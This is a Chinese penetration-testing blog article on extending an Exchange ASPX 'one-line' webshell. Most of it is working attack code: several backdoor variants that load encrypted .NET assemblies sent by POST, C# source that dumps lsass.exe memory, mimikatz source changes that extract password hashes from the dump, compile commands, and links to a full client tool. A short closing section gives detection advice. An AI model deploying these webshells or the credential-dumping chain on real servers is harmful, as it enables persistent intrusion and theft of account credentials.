渗透基础——Exchange 一句话后门的扩展

发布于 2025-01-09 19:19:11 字数 9502 浏览 11 评论 0

0x00 前言

在上一篇文章 《渗透基础——Exchange 一句话后门的实现》 介绍了两种 Exchange 一句话后门(内存加载.net 程序集和文件写入),本文将要对 Exchange 一句话后门的功能进行扩展,以导出 lsass 进程的口令 hash 为例,介绍内存加载 PE 文件的实现方法,开源测试代码,分析利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

  • Exchange 一句话后门的编写
  • 通过内存加载.net 程序集实现导出 lsass.exe 进程的 dmp 文件
  • 通过内存加载 PE 文件实现内存加载 Mimikatz 并解析指定位置的 dmp 文件
  • 开源代码
  • 防御建议

0x02 Exchange 一句话后门的编写

(1) 基本的实现代码

示例代码如下:

<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

代码会判断是否带有 POST 请求的参数 demodata ,如果存在会将 POST 请求中参数 demodata 的内容作 base64 解密,在内存加载并调用名为 Payload 的实例

(2) 冰蝎 的实现代码

默认启动代码如下:

<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

提取其中使用的解密代码如下:

public static string Decrypt(string str, string key)
{
    Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);           
    Byte[] toEncryptKey = Encoding.UTF8.GetBytes(key);
    Byte[] resultArray = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(toEncryptKey, toEncryptKey).TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
    return Encoding.UTF8.GetString(resultArray);
}

参照解密代码,推出对应的加密代码如下:

   public static string Encrypt(string str, string key)
    {            
        Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
        Byte[] toEncryptKey = Encoding.UTF8.GetBytes(key);
        //Byte[] resultArray = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(toEncryptKey, toEncryptKey).TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
        RijndaelManaged rm = new RijndaelManaged
        {
            Mode = CipherMode.CBC,
            Padding = PaddingMode.PKCS7
        };
        ICryptoTransform cTransform = rm.CreateEncryptor(toEncryptKey, toEncryptKey);
        Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
        return Encoding.UTF8.GetString(resultArray);      
    }

Exchange 下直接使用冰蝎会报错,错误原因:

Session state can only be used when enableSessionState is set to true, either in a configuration file or in the Page directive. Please also make sure that System.Web.SessionStateModule or a custom session state module is included in the <configuration>\<system.web>\<httpModules> section in the application configuration.

这里需要修改 Webshell 路径对应的 web.config 文件,找到位置:

<system.webServer>
    <modules>

去掉 <remove name="Session" /> 即可

类似的还有 Godzilla

(3) 修改后的实现代码

在 Exchange 下应避免使用 Session 传递数据,这里改用 POST 请求传递数据,最终代码如下:

<%@ Page Language="C#" %>
<%
if (Request.Form["k"]!=null&&Request.Form["data"]!=null)
{
    Byte[] k=Convert.FromBase64String(Request.Form["k"]);
    Byte[] c=Convert.FromBase64String(Request.Form["data"]);
    System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this); 
}
%>

POST 请求中的参数 k 作为密钥,参数 data 作为加密的数据,解密后在内存加载并调用名为 U 的实例

接下来两节内容将介绍连接上述 Exchange 一句话后门的客户端开发细节

0x03 通过内存加载.net 程序集实现导出 lsass.exe 进程的 dmp 文件

这里需要通过 C#实现导出 lsass.exe 进程 dmp 文件的功能

新建文件 dumplsass.cs,代码如下:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
public class U
{
        [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
        public static bool IsHighIntegrity()
        {            
            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        public static void Minidump()
        {
            IntPtr targetProcessHandle = IntPtr.Zero;
            uint targetProcessId = 0;
            Process targetProcess = null;
            Process[] processes = Process.GetProcessesByName("lsass");
            targetProcess = processes[0];
            try
            {
                targetProcessId = (uint)targetProcess.Id;
                targetProcessHandle = targetProcess.Handle;
            }
            catch (Exception ex)
            {
                return;
            }
            string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
            string dumpFile = String.Format("{0}\\Temp\\lsass.bin", systemRoot);
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
            {
                MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
            }
        }
        public override bool Equals(Object obj)
        {        
            Minidump();
            return true;
        }
}

编译生成 dll 文件,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library dumplsass.cs

生成的 dumplsass.dll 即为实现导出 lsass.exe 进程 dmp 文件的 Payload 数据

加载后获得 lsass.exe 进程的 dmp 文件,保存位置: C:\Windows\Temp\lsass.bin

0x04 通过内存加载 PE 文件实现内存加载 Mimikatz 并解析指定位置的 dmp 文件

这里分为两阶段:

  1. 通过 C++实现解析指定位置的 dmp 文件并提取 hash,可以在 Mimikatz 的基础上进行修改
  2. 通过 C#实现内存加载 PE 文件的功能

1.通过 C++实现解析指定位置的 dmp 文件并提取 hash

mimikatz 解析指定位置 dmp 文件的命令:

mimikatz.exe log "sekurlsa::minidump C:\Windows\Temp\lsass.bin" "sekurlsa::logonPasswords full" exit

修改 mimikatz 源码,涉及以下两部分:

手动传入命令参数,添加如下代码:

    argc = 5;
    argv[1] = L"log";
    argv[2] = L"sekurlsa::minidump C:\\Windows\\Temp\\lsass.bin";
    argv[3] = L"sekurlsa::logonpasswords full";
    argv[4] = L"exit";

指定日志保存路径为 C:\Windows\Temp\mimikatz.log ,修改以下代码:

#define MIMIKATZ_DEFAULT_LOG    L"C:\\Windows\\Temp\\" MIMIKATZ L".log"

编译后生成新的 mimikatz.exe

2.通过 C#实现内存加载 PE 文件的功能

使用 SharpPELoaderGenerater 读取新生成的 mimikatz.exe,生成可用的内存加载代码 SharpPELoader_x64.cs

注:

内存加载的实现细节可参考 《通过.NET 实现内存加载 PE 文件》

修改 SharpPELoader_x64.cs 的格式,使其能够被 Exchange 一句话后门加载,完整代码已上传至 github,地址如下:

https://github.com/3gstudent/test/blob/master/SharpPELoader_parselsass.cs

编译生成 dll 文件,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library SharpPELoader_parselsass.cs

生成的 SharpPELoader_parselsass.dll 即为实现内存加载 Mimikatz 解析 dmp 文件 C:\Windows\Temp\lsass.bin 并将导出结果保存为 C:\Windows\Temp\mimikatz.log 的 Payload 数据

0x05 开源代码

完整的客户端代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDumpHash.cs

使用 C#开发,支持.Net3.5 及更高版本

编译命令如下:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpExchangeDumpHash.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpExchangeDumpHash.cs

代码支持以下三个功能:

  • generate,生成 Exchange 一句话后门
  • dumplsass,获得 lsass 进程 dmp 文件
  • parsedump,解析 dmp 文件,导出 hash

连接 Exchange 一句话后门时可选择是否使用凭据登录,通信数据使用 AES 加密

代码细节:POST 请求中的参数 k 作为密钥,参数 data 作为加密的数据

  • 字符串 base64dumplsass 为 dumplsass.dll 作 Base64 编码后的结果
  • 字符串 base64parsedump 为 parsedump.dll 作 Base64 编码后的结果

0x06 防御建议

对于 Exchange 一句话后门,不仅需要判断是否有新的文件写入,还需要判断正常的页面是否被插入恶意内容。

在静态分析上面,可以查看 aspx 文件中是否包含涉及内存加载的敏感函数:

  • Assembly.Load
  • Assembly.LoadFrom
  • Assembly.LoadFile

0x07 小结

本文对 Exchange 一句话后门的功能进行了扩展,以导出 lsass 进程的口令 hash 为例,介绍了内存加载 PE 文件的实现方法,开源测试代码,分析利用思路,给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文